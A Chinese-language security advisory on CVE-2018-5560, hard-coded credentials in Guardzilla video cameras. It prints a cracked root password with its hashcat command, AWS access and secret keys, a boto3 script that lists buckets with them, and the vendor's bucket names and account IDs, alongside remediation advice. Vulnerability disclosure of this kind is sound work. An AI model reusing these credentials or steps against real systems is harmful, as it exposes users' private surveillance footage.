Guardzilla IoT摄像机硬编码凭证漏洞(CVE-2018-5560)分析报告

漏洞概述

CVE-2018-5560是Guardzilla Security Video System Model #: GZ521WB中存在的一个严重安全漏洞，涉及硬编码的Amazon S3凭证。该漏洞允许攻击者无需高级技术即可访问设备使用的所有S3存储桶，可能泄露敏感视频监控数据。

受影响产品

• Guardzilla All-In-One Video Security System（视频安全多合一系统）
• 确认受影响的型号：GZ501W
• 其他型号未测试，可能存在相同风险

技术分析细节

1. 固件提取与分析

研究人员从设备芯片中提取出固件，发现包含以下文件系统：

• SquashFS文件系统
• Journaling Flash File System version 2 (JFFS2)文件系统

通过分析发现固件由Faraday Corp开发：

Copyright (C) 2005 Faraday Corp. www.faraday.com.tw

2. 硬编码凭证发现

2.1 管理员密码破解

在/etc/shadow文件中发现root账号的DES加密密码：

root:MvynOwD449PkM:0:0:99999:::

使用hashcat成功破解密码：

hashcat -m 1500 -a 3 -o ../guardzilla.found -O -i --increment-min=8 --increment-max=12 -w 3 -t 50 ../guardzilla.hash ?a?a?a?a?a?a?a?a?a?a?a?a?a

破解结果：密码为GMANCIPC

2.2 启动过程分析

设备启动时执行以下关键脚本和程序：

1. init脚本启动boot.sh
2. boot.sh启动：
   • /mnt/mtd/startapp
   • /home/daemon.exe
3. startapp资源启动：
   • vg_boot.sh（配置底层视频设置）
   • main.exe

3. AWS S3硬编码凭证

通过IDA Pro分析固件二进制文件，发现硬编码的AWS凭证：

• Access Key: AKIAJQDP34RKL7GGV7OQ
• Secret Access Key: igH8yFmmpMbnkcUaCqXJIRIozKVaXaRhE7PWHAYa
• Hostname: s3-us-west-2.amazonaws.com
• Bucket: motion-detection

3.1 凭证验证脚本

使用Python脚本验证凭证有效性：

import boto3
s3 = boto3.client('s3',
    aws_access_key_id='AKIAJQDP34RKL7GGV7OQ',
    aws_secret_access_key='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',
    region_name='us-west-1')

try:
    result = s3.list_buckets()
    print(result)
except Exception as e:
    print(e)

3.2 可访问的S3存储桶

凭证可访问的存储桶列表：

1. elasticbeanstalk-us-west-2-036770821135
2. facial-detection
3. free-video-storage
4. free-video-storage-persist
5. gz-rds-backups
6. gz-test-bucket
7. motion-detection
8. premium-video-storage
9. premium-video-storage-persist
10. rekognition-video-console-demo-cmh-guardzilla-2918n05v5rvh
11. setup-videos
12. wowza-test-bucket

4. 权限分析

使用PACU AWS框架分析发现：

• 凭证属于IAM用户motion-detection
• 账户ID: 036770821135
• 用户ID: AIDAJQRSLLW52U7GLHFYE
• 无特定策略限制，具有广泛权限

5. 其他安全问题

5.1 过期的OpenSSL库

固件中使用的是OpenSSL 1.0.1g，存在多个已知漏洞：

• CVE-2016-0705 (双重释放漏洞)
• CVE-2015-0292 (拒绝服务漏洞)
• CVE-2014-8176 (内存破坏漏洞)
• CVE-2016-0797 (空指针间接引用)
• CVE-2015-0287 (内存破坏漏洞)

5.2 网络通信分析

设备默认监听23端口(ipc login提示符)，并发送大量UDP流量到：

• US-EAST-2 Amazon服务器
• 特定HTTP请求示例：

  http://54.68.243.114/apns/apns.php?cmd=reg_server&uid=G1KEXWU2BPWHCFZ5111A
  http://54.68.243.114/apns/apns.php?cmd=raise_event&uid=G1KEXWU2BPWHCFZ5111A&event_type=1&event_time=1538239032
  

漏洞影响评估

1. 数据泄露风险：攻击者可访问所有关联的S3存储桶，可能获取用户视频监控数据
2. 设备控制风险：通过硬编码密码可获取设备root权限
3. 中间人攻击风险：使用过期的OpenSSL库可能导致通信被拦截
4. 供应链攻击风险：所有使用相同固件的设备都存在相同漏洞

修复建议

1. 立即措施：

   • 更换所有AWS凭证
   • 审查S3存储桶访问日志
   • 更改设备默认密码

2. 固件更新：

   • 移除硬编码凭证
   • 升级OpenSSL库到最新版本
   • 实现动态凭证获取机制

3. 长期措施：

   • 实施安全开发生命周期(SDL)
   • 定期安全审计
   • 安全凭证管理最佳实践

参考链接

• 原始分析报告：https://www.0dayallday.org/guardzilla-video-camera-hard-coded-aws-credentials/
• CVE详细信息：https://nvd.nist.gov/vuln/detail/CVE-2018-5560